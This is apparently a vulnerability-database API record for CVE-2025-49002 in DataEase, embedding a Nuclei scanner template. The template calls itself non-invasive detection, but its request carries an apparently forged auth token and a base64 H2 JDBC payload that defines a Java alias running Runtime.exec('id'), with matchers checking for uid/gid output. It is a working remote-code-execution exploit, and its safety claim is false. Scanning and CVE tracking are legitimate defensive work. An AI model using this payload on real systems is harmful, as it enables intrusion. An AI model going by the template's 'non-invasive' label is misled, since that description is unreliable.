{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2025-49002/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2025-49002/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2025-49002/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2025-49002/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2025-49002/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2025-49002"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2025-49002"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2025/CVE-2025-49002.yaml",
    "nuclei_template_severity": "high",
    "nuclei_template_yaml": "id: CVE-2025-49002\n\ninfo:\n  name: DataEase - Remote Code Execution\n  author: WeQi\n  severity: high\n  description: |\n    DataEase is an open-source business intelligence and data visualization platform. Public advisories state that CVE-2025-49002 is related to a bypass in the previous fix for CVE-2025-32966 involving case-insensitive handling of restricted H2 JDBC keywords. This template is a non-invasive detection template intended only to identify exposed DataEase instances and extract possible version hints for manual verification. It does not attempt authentication bypass, JDBC exploitation, or command execution.\n  impact: |\n    If the target is running an affected DataEase version, an attacker may exploit the vulnerable logic as part of a broader attack chain. Public exposure of the application increases risk.\n  remediation: |\n    Upgrade DataEase to 2.10.10 or later, restrict public access to management/API endpoints, and review whether vulnerable datasource-related interfaces are exposed.\n  reference:\n    - https://github.com/dataease/dataease/security/advisories/GHSA-999m-jv2p-5h34\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-49002\n  classification:\n    cve-id: CVE-2025-49002\n    epss-score: 0.50405\n    epss-percentile: 0.98916\n    cwe-id: CWE-290\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: fit2cloud\n    product: dataease\n    fofa-query: app=\"FIT2CLOUD-DataEase\"\n    shodan-query: http.html:\"DataEase\"\n  tags: cve,cve2025,dataease,fit2cloud,vkev\n\nhttp:\n  - raw:\n      - |\n        POST /de2api/datasource/getSchema HTTP/1.1\n        Host: {{Hostname}}\n        X-DE-TOKEN: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEsIm9pZCI6MX0.a5QYOfZDYlhAy-zUMYzKBBvCUs1ogZhjwKV5SBTECt8\n        Content-Type: application/json\n\n        {\n          \"id\": \"\",\n          \"name\": \"11\",\n          \"description\": \"\",\n          \"type\": \"h2\",\n          \"apiConfiguration\": [],\n          \"paramsConfiguration\": [],\n          \"enableDataFill\": false,\n          \"configuration\": \"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0O2luXFxpdD1EUk9QIEFMSUFTIElGIEVYSVNUUyBFWEVDXFw7Q1JFQVRcXEUgQUxJQVMgRVhFQyBBUyAkJHZvaWQgZXhlYygpIHRocm93cyBFeGNlcHRpb24ge2phdmEubGFuZy5TdHJpbmcgcyA9IG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihqYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhcImlkXCIpLmdldElucHV0U3RyZWFtKCkpLnVzZURlbGltaXRlcihcIlxcQVwiKS5uZXh0KClcXDt0aHJvdyBuZXcgamF2YS5sYW5nLkV4Y2VwdGlvbihzKVxcO30kJFxcO0NBTEwgRVhFQygpXFw7IiwidXJsVHlwZSI6ImpkYmNVcmwiLCJzc2hUeXBlIjoicGFzc3dvcmQiLCJleHRyYVBhcmFtcyI6IiIsInVzZXJuYW1lIjoiMTIzIiwiIHBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0\"\n        }\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"Exception calling\", \"exec():\")'\n          - 'contains(content_type, \"application/json\")'\n          - 'regex(\"uid=[0-9]+.*gid=[0-9]+.*\", body)'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502206ee442de253433cd6e1556c0ab3b823edead3a9cb7b9e9ed5e774ef7a9e9bd12022100bb3aa3f6037b26c9dfee39293cf08e9e0417fe68d9a90888ffbeae4d57c02416:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2025-49002"
}